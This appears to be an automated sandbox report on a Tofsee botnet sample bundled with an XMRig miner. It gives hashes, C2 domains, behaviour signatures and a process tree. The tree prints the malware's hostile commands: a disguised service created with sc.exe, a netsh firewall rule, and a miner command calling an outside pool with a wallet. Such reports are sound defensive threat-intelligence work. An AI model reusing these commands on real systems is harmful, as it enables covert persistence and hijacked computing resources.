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Overview

overview

10

Static

static

3

SecuriteIn...35.exe

windows7-x64

10

SecuriteIn...35.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    14/01/2024, 15:17

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General

  • Target

    SecuriteInfo.com.Win32.BotX-gen.31335.exe

  • Size

    203KB

  • MD5

    e80ed6ccb333b7fc33ffc98bca43b57d

  • SHA1

    170281a608fe94eee06a9f45466f6a47bd2272e3

  • SHA256

    3555ecd8bb270312994e03bf64695a3f1c0213a2abf85b890ebe2bb40a9648a3

  • SHA512

    3209c004cebb1e2f544f7d8457175a62da8a225bc08bcbb051c240eddc610ca8e1ddfe7f6d758d2e09517030afad689b6805fc2b8b801a1f182c04369191a30d

  • SSDEEP

    3072:eafjdfYraZJXENc8uCXJiXK1K2LEpzUCV+PaIh9bwdANblLNBNKRrxbU+cmH:eafjqQ15OCyLLkCVkxbDco

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 7 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pztvovuf\
      2⤵
        PID:3036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ipobjjrv.exe" C:\Windows\SysWOW64\pztvovuf\
        2⤵
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pztvovuf binPath= "C:\Windows\SysWOW64\pztvovuf\ipobjjrv.exe /d\"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2900
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pztvovuf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pztvovuf
          2⤵
          • Launches sc.exe
          PID:2584
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2600
      • C:\Windows\SysWOW64\pztvovuf\ipobjjrv.exe
        C:\Windows\SysWOW64\pztvovuf\ipobjjrv.exe /d"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3012
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1412

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ipobjjrv.exe
        Filesize

        6.1MB

        MD5

        97ad90fccb45da9b3cf3a6ee4e44ad49

        SHA1

        c74a8b2f0bf416d3849f540f679b1cff96982be1

        SHA256

        79688693c8a011c7b1a1bd8a69c7738bf0d11e2ab0a5ce947e6ca55641b5f8ab

        SHA512

        5ed37f812efe2fe7071792277034fe6515feb559a8d7ff987b2f9a21f0fbef3cf9cfc6ea4202e0186c212c3e7e72b736fc554c1af645fefdec114c89a99a2ae3

        Download Submit

      • C:\Windows\SysWOW64\pztvovuf\ipobjjrv.exe
        Filesize

        4.6MB

        MD5

        27e20123c19763f09143b1f88401cf7b

        SHA1

        52aca1e3244df00ffd3e840e464059178334ecc9

        SHA256

        bf2ea63842910d6c52b61f18134da681b6dd801e75a536eea4d31791e4b273cc

        SHA512

        29bfe86dddd4eb1ba09bb0bbcff5bfaadc629f42bc38ad09c577d1f8c04f4d8894dd700830e15885ed5c26d5d895aa74b3965103a0b15e817868538a36590eb8

        Download Submit

      • memory/1412-71-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-74-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-75-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-76-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-72-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-73-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-61-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1412-63-0x00000000000B0000-0x00000000001A1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/2628-4-0x0000000000400000-0x0000000000438000-memory.dmp

        Filesize

        224KB

        Download

      • memory/2628-3-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/2628-7-0x0000000000400000-0x0000000000438000-memory.dmp

        Filesize

        224KB

        Download

      • memory/2628-1-0x00000000002D0000-0x00000000003D0000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/2668-37-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-44-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-25-0x00000000018C0000-0x0000000001ACF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/2668-26-0x00000000002A0000-0x00000000002A6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/2668-29-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-32-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-33-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-34-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-35-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-36-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/2668-38-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-39-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-40-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-41-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-42-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-43-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-22-0x00000000018C0000-0x0000000001ACF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/2668-45-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-46-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-47-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-48-0x00000000002B0000-0x00000000002C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2668-49-0x0000000000300000-0x0000000000305000-memory.dmp

        Filesize

        20KB

        Download

      • memory/2668-52-0x0000000000300000-0x0000000000305000-memory.dmp

        Filesize

        20KB

        Download

      • memory/2668-53-0x0000000005360000-0x000000000576B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/2668-56-0x0000000005360000-0x000000000576B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/2668-57-0x0000000000410000-0x0000000000417000-memory.dmp

        Filesize

        28KB

        Download

      • memory/2668-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/2668-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/2668-79-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/2668-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/2668-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2668-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/3012-9-0x00000000005C0000-0x00000000006C0000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/3012-10-0x0000000000400000-0x0000000000438000-memory.dmp

        Filesize

        224KB

        Download

      • memory/3012-15-0x0000000000400000-0x0000000000438000-memory.dmp

        Filesize

        224KB

        Download